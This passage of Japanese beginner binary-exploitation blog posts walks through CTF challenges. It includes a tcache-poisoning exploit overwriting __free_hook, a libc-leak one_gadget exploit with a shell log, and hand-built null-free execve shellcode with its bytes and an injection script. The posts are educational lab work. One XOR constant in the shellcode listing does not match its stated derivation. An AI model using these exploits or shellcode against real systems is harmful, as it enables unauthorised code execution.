0000 0000 ................ 0x555def88c0f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
以上の手順でTcache
の汚染ができたため、次にmallocした時は 任意のアドレス が取得できることになる。
エクスプロイトコード作成の準備
TCache Poisoning
の手順はここまでの確認で理解できたので、babyheap
のセキュリティ機構との兼ね合いから、シェルを奪取するために他に必要な情報を準備する。今回はASLR
が有効になっているため、スタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される。
そこで、今回は__free_hook
を使いone_gadget
を実行する。
__free_hook
は、ここに格納されているアドレスをfree実行時にフックしてくれるので、Alloc(1)
時に__free_hook
のアドレスにone_gadget
のアドレスを格納できれば攻撃が成功する。man
以上を踏まえてやることとしては、
one_gadget
のアドレスを探す__free_hook
のオフセットを取得するstdin
関数の実行アドレスとオフセットからglibc
のベースアドレスを求める が必要になる。
最後のglibc
のベースアドレスに関しては、エクスプロイトコードの中で求めれば良さそうだが、上2つに関しては事前に調べておく。
one_gadgetのアドレスを調べる
ldd
コマンドでbabyheap
が使っているライブラリを調べる。
# ldd babyheap linux-vdso.so.1 (0x00007fff797fe000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0adec53000) /lib64/ld-linux-x86-64.so.2 (0x00007f0adf247000)
libc.so.6
の中からone_gadgetを探す。
root@955ba940c3ee:/sandbox/pwn/2_babyheap# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
__free_hookのオフセットを調べる
libc.so.6
の中から__free_hook
のオフセットを調べる。
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook 00000000003ed8e8 V __free_hook
stdinのオフセットを調べる
同様にlibc.so.6
の中から_IO_2_1_stdin_
のオフセットを調べる。
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
エクスプロイト
from pwn import * context(os="linux", arch="amd64") con = process("./babyheap") def alloc(data): con.recvuntil("> ") con.sendline("1") con.recvuntil("Content: ") con.sendline(data) def delete(): con.recvuntil("> ") con.sendline("2") def wipe(): con.recvuntil("> ") con.sendline("3") # Offset stdin_offset = 0x3eba00 free_hook_offset = 0x3ed8e8 one_gadget_offset = 0x4f322 # GLibc Base con.recvuntil(">>>>> ") addr_stdin = int(con.recvuntil(" "), 16) libc_base = addr_stdin - stdin_offset print("[*] libc_base_addr = 0x%x" % libc_base) # TcachePoisoning alloc("test") delete() delete() wipe() alloc(pack(libc_base + free_hook_offset)) wipe() alloc("test") wipe() alloc(pack(libc_base + one_gadget_offset)) # Execute OneGadget delete() con.interactive()
終わりに
初めてのヒープ問題は、個人的には結構難しかった(writeup含め色々な情報を貪った)
babyheap
は 相当 優しいらしいが、知らないといけない情報が多く基礎が全然足りてないのを実感。
攻撃方法やメモリ管理については、今回のウォークスルーで基礎の基礎の基ぐらいは理解できたと思うが、これ系の問題は数こなして色々なパターンに触れないとなんともならないな。と言う感想を抱いた。
終わり
バイナリアン入門 第四回(x64, Linux)
はじめに
CTF問題のoneline
のウォークスルーに近いが、今回はone-gadget
と言う初耳のモノを扱ってみる。用途的には前回作成したシェルコードと似ているが、ガジェットコードと呼ばれる命令を実行するだけでシェルを起動できる優れもの。
one-gadgedとは
one-gadgedとは 引数なしで「/bin/sh」を呼び出すガジェットコード のことで、セキュリティ機構などによりシェルコードが実行できないけど、プログラムカウンター(ip)
を制御できる場合に利用することができる。このガジェットコードはlibc
の中に含まれており、そのアドレスにジャンプすることにより実行できる(正確には実行可能条件が存在するが)
対象となる実行ファイルの挙動
最初は、今回対象となるバイナリの動作を確認してみる。
ファイルを実行してみると文字列の入力を促され、入力すると再度入力を促される。
動かした感じ、文字化けしてる部分があるのがちょっと気になるところ。
# ./oneline You can input text here! >> a a �tN�Once more again! >> b b
今度は、たくさんの文字列を入力するとどうなるのかを試してみる。
# ./oneline You can input text here! >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
文字列を入れすぎるとSEGFAULTが発生。
セキュリティ機構のチェック
実行ファイルが備えているセキュリティ機構を確認する
# checksec ./oneline [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'. [*] A newer version of pwntools is available on pypi (3.13.0 --> 4.0.1). Update with: $ pip install -U pwntools [*] '/root/sandbox/pwn/1_oneline/oneline' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
それぞれの機構については以下が詳しいので割愛。
- セキュリティコンテストチャレンジブックの2章「pwn」の記事より「ステップ2: 下調べ
- 実行ファイルのセキュリティ機構についてまとめてみる
アセンブラ解読
早速、oneline
のバイナリを解析してみる。毎回お馴染みのRadare2を利用する。
# r2 -d oneline
[0x7fef862a2090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [TOFIX: aaft can't run in debugger mode.ions (aaft) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x7fef862a2090]> afl 0x5583cda6b720 1 42 entry0 0x5583cdc6bfe0 1 4124 reloc.__libc_start_main 0x5583cda6b750 4 50 -> 40 sym.deregister_tm_clones 0x5583cda6b790 4 66 -> 57 sym.register_tm_clones 0x5583cda6b7e0 5 58 -> 51 entry.fini0 0x5583cda6b710 1 6 sym..plt.got 0x5583cda6b820 1 10 entry.init0 0x5583cda6b9a0 1 2 sym.__libc_csu_fini 0x5583cda6b9a4 1 9 sym._fini 0x5583cda6b82a 1 67 entry.init1 0x5583cda6b6d0 1 6 sym.imp.setbuf 0x5583cda6b930 4 101 sym.__libc_csu_init 0x5583cda6b86d 1 182 main 0x5583cda6b700 1 6 sym.imp.calloc 0x5583cda6b6e0 1 6 sym.imp.printf 0x5583cda6b6f0 1 6 sym.imp.read 0x5583cda6b6a0 3 23 sym._init 0x5583cda6b000 2 25 map.root_sandbox_pwn_1_oneline_oneline.r_x [0x7fef862a2090]> s main [0x5583cda6b86d]> pdf / (fcn) main 182 | int main (int argc, char **argv, char **envp); | ; var int32_t var_ch @ rbp-0xc | ; var int32_t var_8h @ rbp-0x8 | ; DATA XREF from entry0 @ 0x5583cda6b73d | 0x5583cda6b86d 55 push rbp | 0x5583cda6b86e 4889e5 mov rbp, rsp | 0x5583cda6b871 4883ec10 sub rsp, 0x10 | 0x5583cda6b875 be01000000 mov esi, 1 | 0x5583cda6b87a bf28000000 mov edi, 0x28 ; '(' ; 40 | 0x5583cda6b87f e87cfeffff call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | 0x5583cda6b884 488945f8 mov qword [var_8h], rax | 0x5583cda6b888 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b88c 488b15450720. mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0 | 0x5583cda6b893 48895020 mov qword [rax + 0x20], rdx | 0x5583cda6b897 488d3d160100. lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> " | 0x5583cda6b89e b800000000 mov eax, 0 | 0x5583cda6b8a3 e838feffff call sym.imp.printf ; int printf(const char *format) | 0x5583cda6b8a8 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8ac ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8b1 4889c6 mov rsi, rax | 0x5583cda6b8b4 bf00000000 mov edi, 0 | 0x5583cda6b8b9 e832feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x5583cda6b8be 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8c2 488b4020 mov rax, qword [rax + 0x20] | 0x5583cda6b8c6 488b4df8 mov rcx, qword [var_8h] | 0x5583cda6b8ca ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8cf 4889ce mov rsi, rcx | 0x5583cda6b8d2 bf01000000 mov edi, 1 | 0x5583cda6b8d7 ffd0 call rax | 0x5583cda6b8d9 488d3df10000. lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> " | 0x5583cda6b8e0 b800000000 mov eax, 0 | 0x5583cda6b8e5 e8f6fdffff call sym.imp.printf ; int printf(const char *format) | 0x5583cda6b8ea 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8ee ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8f3 4889c6 mov rsi, rax | 0x5583cda6b8f6 bf00000000 mov edi, 0 | 0x5583cda6b8fb e8f0fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x5583cda6b900 8945f4 mov dword [var_ch], eax | 0x5583cda6b903 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b907 488b4020 mov rax, qword [rax + 0x20] | 0x5583cda6b90b 8b55f4 mov edx, dword [var_ch] | 0x5583cda6b90e 488b4df8 mov rcx, qword [var_8h] | 0x5583cda6b912 4889ce mov rsi, rcx | 0x5583cda6b915 bf01000000 mov edi, 1 | 0x5583cda6b91a ffd0 call rax | 0x5583cda6b91c b800000000 mov eax, 0 | 0x5583cda6b921 c9 leave \ 0x5583cda6b922 c3 ret
ここからは、上のmain()関数を上から順番に解析してみる。
Function prologue
お決まりの関数の最初で実行する命令。 関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。
push rbp mov rbp, rsp
関数内で利用するスタックを16バイト確保する。
sub rsp, 0x10
チャンクの確保
calloc
をcallしてメモリを確保する。
第1引数となるrdi
には、ブロック数40(0x28)
を格納し、第2引数となるrsi
には、ブロックサイズ1
を格納する。
40ブロック×1バイトで40バイト分のメモリが確保され、戻り値としてチャンクのアドレスがrax
に格納されるので、それをスタックvar_8h
に格納する。
mov esi, 1 mov edi, 0x28 ; '(' ; 40 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) mov qword [var_8h], rax
calloc
で確保したチャンクの32バイト目(0x20)の位置に、reloc.write
(rdx
)のアドレスを格納する。
mov rax, qword [var_8h] mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0 mov qword [rax + 0x20], rdx
writeアドレスのリーク
文字列の入力を促すメッセージを表示する。
第一引数となるrdi
には、出力する文字列のアドレスを格納し、ベクトルレジスタ(浮動小数点)の設定に関しては、今回は整数型なので0を設定している(詳細は以前の記事を参照)
lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> " mov eax, 0 call sym.imp.printf ; int printf(const char *format)
ユーザからの入力を受け付けるためにread
をcallする。
第一引数となるedi
には、ファイルディスクリプタの標準入力(0
)を指定し、第二引数となるrsi
には上で確保したチャンクのアドレスを指定。
第三引数となるedx
には、サイズ40(0x28)を指定する。
これで、ユーザが入力した文字列はvar_8h
に格納されることになる。
man: https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html
mov rax, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rax mov edi, 0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
文字列が格納されているチャンクのアドレスをrax
レジスタに格納し、32(0x20)バイトシークした位置を再度rax
に格納する。
命令的には、ユーザが文字列を入力しすぎなければ、rax
にはリークしたwrite
のアドレスが格納されたままになる。
mov rax, qword [var_8h] mov rax, qword [rax + 0x20]
次に、write
をcallしてチャンクの中身を表示する。
第一引数となるedi
には、ファイルディスクリプタの標準出力(1
)を指定し、第二引数となるrsi
には上で確保したチャンクのアドレスを指定。第三引数となるedx
には、サイズ40(0x28)を指定する。
call rax
では、32バイト以上の文字列を入力していなければwrite
のアドレスがrax
レジスタに格納されるが、それ以上文字列を入力した場合はwrite
のアドレスを破壊するので、Segmentation fault
が起きる。
これにより、ユーザが入力した文字列+write
のアドレスがコンソールに出力される。
mov rcx, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rcx mov edi, 1 call rax
二度目の入力
次に、もう一度文字列の入力を促すメッセージを表示する。
lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> " mov eax, 0 call sym.imp.printf ; int printf(const char *format)
先程と同じようにread
で読み込む。
mov rax, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rax mov edi, 0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
読み込んだ文字列のサイズをスタックvar_ch
に格納する。
mov dword [var_ch], eax
再度、rax
レジスタにwrite
のアドレスを格納する。
mov rax, qword [var_8h] mov rax, qword [rax + 0x20]
二度目に入力された文字列のサイズは、var_ch
に入っているため、それを第三引数となるedx
に格納する。
第一引数となるedi
には、標準出力(1)を設定し、第二引数となるrsi
には、チャンクのアドレスを格納し、rax
をcallしてwrite
を実行する。
mov edx, dword [var_ch] mov rcx, qword [var_8h] mov rsi, rcx mov edi, 1 call rax
関数の戻り値に0を設定して、処理を終了する。
mov eax, 0 leave ret
攻撃方法
アセンブラを解読したので、どうやって攻撃すればいのかを考える。
- シェルコードを送る
- 二度目の
call rax
で任意のアドレスを実行させることができそう
セキュリティ機構をもう一度確認してみる。
NX bit
が有効になっていると、メモリ領域に置かれたデータをプログラムとして実行できないため、シェルコードは実行できなそう。入力可能なサイズ的にも無理。
任意のアドレスは実行できそうだが、どこのアドレスを指定させようか?と迷った時に使えるのが今回登場する one-gadget
と言うコード。
write
のアドレスが入ってる部分をone-gadget
のアドレスで書き換えれば良いのである。
だが、ASLR
によってスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される問題がある。
one-gadged
はglibcのベースアドレスからのオフセットとなるため、どうにかしてglibcのベースアドレスを調べないと攻撃が成功しないのだが、最初の方にwrite
のアドレスをリークしている部分があるので、そのアドレスからwrite
のオフセットを引いて、glibcのベースアドレスを求めれば良さそうだ。
なので、攻撃の手順としては
- リークしてる
write
のアドレスからglibcのベースアドレスを求める - ベースアドレスに
one_gadget
のオフセットを足して実アドレスを求める - 二度目の
read
で上のアドレスを送り込んで実行させる
必要な情報の準備
oneline
がどのような共有ライブラリを使用しているかを確認する。
# ldd oneline linux-vdso.so.1 (0x00007ffc01eae000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f203cc000) /lib64/ld-linux-x86-64.so.2 (0x00007f7f207ae000)
writeのオフセット取得
write
のオフセットを取得する。
色々出てくるけど、これがお目当のやつになる 00000000000eb910 W write
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep write 00000000000fa530 T eventfd_write 0000000000073080 W fwrite 000000000007cb90 T fwrite_unlocked 000000000007ed70 T _IO_do_write 000000000007dc50 T _IO_file_write 0000000000073080 T _IO_fwrite 0000000000078cb0 T _IO_wdo_write 00000000000e9c70 T __libc_pwrite 00000000000fb140 T process_vm_writev 00000000000e9c70 W pwrite 00000000000e9c70 W __pwrite64 00000000000e9c70 W pwrite64 00000000000f17f0 T pwritev 00000000000f1a00 T pwritev2 00000000000f17f0 T pwritev64 00000000000f1a00 T pwritev64v2 00000000000eb910 W __write 00000000000eb910 W write 00000000000f0990 T __write_nocancel 00000000000f16a0 W writev
one-gadgetのオフセット取得
oneline
で参照しているlibc
の共有ライブラリから、one-gadget
の候補を取得する。
one-gadget
のアドレスを調べるのは、one_gadgetが大変便利なので、そちらを利用する。
複数の候補が出てくるが、候補のアドレスでシェルの起動が成功するにはconstraints
の条件がそろった場合のみなので、いくつか試しながら使えるアドレスを決める。
# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0xc84ca execve("/bin/sh", r12, r13) constraints: [r12] == NULL || r12 == NULL [r13] == NULL || r13 == NULL 0xc84cd execve("/bin/sh", r12, rdx) constraints: [r12] == NULL || r12 == NULL [rdx] == NULL || rdx == NULL 0xc84d0 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL 0xe666b execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
今回は、以下のものが対象になる。
rsp+0x60
がNULLの場合は0xe666b
のアドレスで実行が可能。
0xe666b execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
エクスプロイト
調べた情報からエクスプロイトコードを作成する。
from pwn import * context(os="linux", arch="amd64") con = process("./oneline") write_offset = 0xeb910 one_gadget_offset = 0xe666b con.recvuntil('>> ') con.sendline('test') msg = con.recvuntil('>> ') libc_base_addr = unpack(msg[32:40]) - write_offset print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40]) payload = 'A' * 32 payload += pack(libc_base_addr + one_gadget_offset) con.sendline(payload) con.interactive()
実行してみると、無事奪取できた。
# python solve.py [+] Starting local process './oneline': pid 26312 [*] libc_base_addr = 0x7f20f89cb910 [*] Switching to interactive mode $ ls b env libc-2.27.so oneline solve.py $
まとめ
初めてone-gadget
なるものにふれたが、glibc
にこんな便利な命令群が存在してるとは知らなかった。これはセキュリティ機構が色々と有効になっている時に力を発揮しそう。
バイナリアン入門 第三回(x64, Linux)
はじめに
基礎の基礎の部分は第一回と第二回で簡単にふれたので、今回はCTFで苦戦したシェルコードにふれてみる。作成したシェルコードは、脆弱性のある実行ファイルに喰わせて動作を確認する。
シェルコードとは
https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B3%E3%83%BC%E3%83%89
ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。
解析用コードの作成
いきなりシェルコードを書くのは無理なので、シェルコードの元となる/bin/sh
を起動するコードをC言語で書いて、吐き出したバイナリコードを解析しながら作成してみる。
execve
については、マニュアルに詳しく書いてあるのでそれに従う。後々シェルコードを作成する時に意識しといた方が良い部分としては、マニュアル内の以下の引用の部分かな。
argv と envp はいずれものヌルポインターで終わっている必要がある
実際に作成したコードはこれ(この場合はvoid main
のが綺麗適切かも)
#include<unistd.h> int main() { // ヌルコードが入らないよう8バイトで合わせている。詳細は後述。 char filename[] = "/bin//sh"; char *argv[] = {"/bin//sh", NULL}; execve(filename, argv, NULL); }
実行ファイル作成
ダイナミックリンクだと解析する際にexecve
の内部処理がどのようになっているのかが見られないため、スタティックリンクで実行ファイルを作成する。
gcc -static -g shell.c
実行ファイルの解析
Radare2を使って、バイナリを解析する。
r2 -d a.out
[0x00001050]> aaa [Cannot analyze at 0x00001040g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x00001040ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x00001050]> afl 0x00001050 1 42 entry0 0x00001080 4 41 -> 34 sym.deregister_tm_clones 0x000010b0 4 57 -> 51 sym.register_tm_clones 0x000010f0 5 57 -> 50 entry.fini0 0x00001130 1 5 entry.init0 0x00001000 3 23 sym._init 0x000011f0 1 1 sym.__libc_csu_fini 0x000011f4 1 9 sym._fini 0x00001190 4 93 sym.__libc_csu_init 0x00001135 1 76 main 0x00001030 1 6 sym.imp.execve [0x00001050]> s main [0x00001135]> pdf / (fcn) main 76 | int main (int argc, char **argv, char **envp); | ; var char *var_20h @ rbp-0x20 | ; var int32_t var_18h @ rbp-0x18 | ; var int32_t var_9h @ rbp-0x9 | ; var int32_t var_1h @ rbp-0x1 | ; DATA XREF from entry0 @ 0x106d | 0x00001135 55 push rbp ; shell.c:3 { | 0x00001136 4889e5 mov rbp, rsp | 0x00001139 4883ec20 sub rsp, 0x20 | 0x0000113d 48b82f62696e. movabs rax, 0x68732f2f6e69622f ; shell.c:4 char filename[] = "/bin//sh"; ; '/bin//sh' | 0x00001147 488945f7 mov qword [var_9h], rax | 0x0000114b c645ff00 mov byte [var_1h], 0 | 0x0000114f 488d05ae0e00. lea rax, qword str.bin__sh ; shell.c:5 char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh" | 0x00001156 488945e0 mov qword [var_20h], rax | 0x0000115a 48c745e80000. mov qword [var_18h], 0 | 0x00001162 488d4de0 lea rcx, qword [var_20h] ; shell.c:7 execve(filename, argv, NULL); | 0x00001166 488d45f7 lea rax, qword [var_9h] | 0x0000116a ba00000000 mov edx, 0 | 0x0000116f 4889ce mov rsi, rcx | 0x00001172 4889c7 mov rdi, rax | 0x00001175 e8b6feffff call sym.imp.execve | 0x0000117a b800000000 mov eax, 0 | 0x0000117f c9 leave ; shell.c:8 } \ 0x00001180 c3 ret [0x00401b5d]> s sym.execve [0x0043c6e0]> pdf ;-- __execve: / (fcn) sym.execve 33 | sym.execve (); | ; CALL XREF from main @ 0x401b9d | 0x0043c6e0 b83b000000 mov eax, 0x3b ; ';' ; 59 | 0x0043c6e5 0f05 syscall | 0x0043c6e7 483d01f0ffff cmp rax, -0xfff | ,=< 0x0043c6ed 7301 jae 0x43c6f0 | | 0x0043c6ef c3 ret | | ; CODE XREF from sym.execve @ 0x43c6ed | `-> 0x0043c6f0 48c7c1c0ffff. mov rcx, -0x40 | 0x0043c6f7 f7d8 neg eax | 0x0043c6f9 648901 mov dword fs:[rcx], eax | 0x0043c6fc 4883c8ff or rax, 0xffffffffffffffff \ 0x0043c700 c3 ret
main()
メイン関数(0x00001135
から0x00001180
)を読んでいく。
関数呼び出しをする際のお決まり(Function prologue)とコールスタックの確保に関しては割愛。
push rbp ; shell.c:3 { mov rbp, rsp sub rsp, 0x20 movabs rax, 0x68732f2f6e69622f ; shell.c:4 char filename[] = "/bin//sh"; ; '/bin//sh' mov qword [var_9h], rax mov byte [var_1h], 0 lea rax, qword str.bin__sh ; shell.c:5 char *argv[] = {"/bin//sh", NULL}; ; 0x2004 ; "/bin//sh" mov qword [var_20h], rax mov qword [var_18h], 0 lea rcx, qword [var_20h] ; shell.c:7 execve(filename, argv, NULL); lea rax, qword [var_9h] mov edx, 0 mov rsi, rcx mov rdi, rax call sym.imp.execve mov eax, 0 leave ; shell.c:8 } ret
第1引数の値準備
文字列0x68732f2f6e69622f(/bin//sh)
をrax
に格納してvar_9h(rbp-0x9)
のアドレスに配置。
そのすぐ後ろの連続したアドレスvar_1h(rbp-0x1)
にヌルポインタ(0)を配置している。
movabs rax, 0x68732f2f6e69622f mov qword [var_9h], rax mov byte [var_1h], 0
上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508d7
から0x7ffde0f508df
までのところに2f 6269 6e2f 2f73 6800
が設定されているのが確認できる。
マニュアルでargv
はヌルポインタで終わっている必要があるという意味はこの00
の部分になる。
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffde0f508c0 9001 9700 f155 0000 5000 9700 f155 0000 .....U..P....U.. 0x7ffde0f508d0 c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800 ......./bin//sh. 0x7ffde0f508e0 9001 9700 f155 0000 bb0b 0e24 c57f 0000 .....U.....$.... 0x7ffde0f508f0 0000 0000 0000 0000 c809 f5e0 fd7f 0000 ................ rax 0x68732f2f6e69622f rbp 0x7ffde0f508e0
第2引数の値準備
次に、/bin//sh
の文字列が配置されているアドレスをrax
に一度格納しvar_20h(rbp-0x20)
に配置する。
そのすぐ後ろの連続したアドレスvar_18h(rbp-0x18)
には先程と同様にヌルポインタ(0)を配置している。
lea rax, qword str.bin__sh mov qword [var_20h], rax mov qword [var_18h], 0
上の命令を実行後のスタック領域はこんな感じ。
0x7ffde0f508c0
から0x7ffde0f508cf
までのところに/bin//sh
を指すアドレスとヌルポインタ(0410 9700 f155 0000 0000 0000 0000 0000
)が配置されている。
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x7ffde0f508c0 0410 9700 f155 0000 0000 0000 0000 0000 .....U.......... 0x7ffde0f508d0 c009 f5e0 fd7f 002f 6269 6e2f 2f73 6800 ......./bin//sh. 0x7ffde0f508e0 9001 9700 f155 0000 bb0b 0e24 c57f 0000 .....U.....$.... 0x7ffde0f508f0 0000 0000 0000 0000 c809 f5e0 fd7f 0000 ................ rax 0x55f100971004 rbp 0x7ffde0f508e0
引数設定
最後に、スタック領域に積んでいる値を適切な引数に設定する。
引数とレジスタの対応についてはSystem V ABI
を参照すればいいけど、このサイトでわかりやすくまとまっているため引用させて頂く。
x64のSystem V ABI(Unix系OSの関数呼び出し規約)では第1~6引数まではレジスタを使用し、第7引数以降はスタックを使うようにするようだ。 具体的に以下の順番で引数をレジスタに入れる。
引数 レジスタ
第1引数 RDI
第2引数 RSI
第3引数 RDX
第4引数 RCX
第5引数 R8
第6引数 R9
execve(filename, argv, NULL);
の引数設定をアセンブラコードで表現すると、以下のようになる。
第3引数のedx
には ヌルポインタを設定。
第2引数のrsi
には/bin//sh
のアドレスを指すアドレスを設定(C言語のポインタのポインタ)
第1引数のrdi
には/bin//sh
のアドレスを設定。
そして、最後にsym.imp.execve
をコールする。
lea rcx, qword [var_20h] lea rax, qword [var_9h] mov edx, 0 mov rsi, rcx mov rdi, rax call sym.imp.execve
sym.imp.execve()
sym.imp.execve
の処理も見てみる。
execve
を使うためには、eax
にシステムコール番号59
を設定してsyscall
命令を使用するといいようだ。
mov eax, 0x3b syscall
シェルコード作成
上の解析結果から、execve
を使用してシェルを実行する時のアセンブラコードが理解できたので、execve
の実行に必要なアセンブラコードだけを抜き出してみる。
文字列変換処理
の前に、今回使用する脆弱性のあるバイナリは、CTFで使っていたモノを流用しているため、b,i,n,s,h
の文字が存在すると処理が終了するようになっている。なのでxor
で文字列を反転させている。
filename = 0x68732f2f6e69622f # /bin//sh xor = (filename ^ 0xffffffffffffffff) print format(xor, 'x') #978cd0d091969dd0
シェルコード作成
第1引数に値を設定するために、第1引数用のレジスタrdi
と一時変数として利用するレジスタrax
を初期化する。
global _start _start: xor rdi,rdi xor rax,rax
解析結果で見たように、execve
の第1引数には実行するファイル名/bin//sh
+ ヌルポインタ(0)
が配置されているアドレスを格納する必要があるので、必要な値をスタックに積んで、rsp
のアドレスをrdi
に格納する。
が、シェルコードを作成する時の注意事項として、ヌル文字は含めちゃだめと言う決まりがある。
一般にシェルコードはヌル文字を終端とする文字列として対象プロセスに注入されるため、ヌル文字(一般に0x00)をその途中で使うことはできない。途中にヌル文字があると、そこまでしか文字列としてコピーされない。従ってヌル文字に相当するコードがシェルコードの途中にある場合、シェルコードは最後まで実行されない。
なので、ヌルポインタの設定で愚直にmov rax, 0
みたいな命令を書くと、ヌル文字が入ってしまうのでシェルコードが最後まで実行されず、何回やっても成功しない。そのため回避策として初期化したrax(値は0x00)
をスタックに積むようにしている。
/bin//sh
でスラッシュを連続させているのも、スラッシュ一つで文字数が7文字にしていると、8文字に相当する部分に0x00のヌル文字が混入してしまうため、スラッシュを連続することでヌル文字の混入を防いでいる。
push rax mov rbx,0x9b888fd091969dd0 xor rbx,0xFFFFFFFFFFFFFFFF push rbx mov rdi, rsp
execve
の第2引数argv
にはポインタのポインタを設定する必要があるため、/bin//sh
のアドレスが格納されているrdi
をスタックにプッシュし、rsp
のアドレスをrsi
に設定するようにしている。
push rax push rdi xor rsi,rsi mov rsi, rsp
execve
の第3引数にはヌルポインタを設定する必要があるので、ヌル文字が混入しないようにxor
で0
にする。
xor rdx,rdx
syscall
命令を使用する。
mov al,0x3b syscall
最終的なアセンブラコードはこのようになる。
global _start _start: xor rdi,rdi xor rax,rax push rax mov rbx,0x9b888fd091969dd0 xor rbx,0xFFFFFFFFFFFFFFFF push rbx mov rdi, rsp push rax push rdi xor rsi,rsi mov rsi, rsp xor rdx,rdx mov al,0x3b syscall
バイナリ作成
コンパイル、リンクして実行ファイルを生成。
nasm -f elf64 shell.asm ld -o shellcode.out shell.o
シェルコード抽出
最後に、作成した実行ファイルから機械語を抽出する。
※ ヌルコード(0x00)が入っていないことを確認する
(objdump -M intel -d shellcode.out | grep ' ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g') #\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
シェルコード実行
脆弱性のある実行ファイルにシェルコードを送り込むにあたり、pwntoolsというライブラリが大変便利なため今回はこれを使う。 詳細は使い方は以下のサイトが大変わかりやすくまとまっているため参照する。
https://qiita.com/8ayac/items/12a3523394080e56ad5a
from pwn import * context(os="linux", arch="amd64") def main(): shellcode="\x48\x31\xff\x48\x31\xf6\x48\x31\xc0\x48\x31\xd2\x50\x48\xbb\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x48\x83\xf3\xff\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" conn = process("./shellcoder") conn.recvuntil("Are you shellcoder?") conn.send(shellcode) conn.interactive() if __name__ == "__main__": main()
脆弱性のある実行ファイルに、作成したシェルコードをぶん投げる。
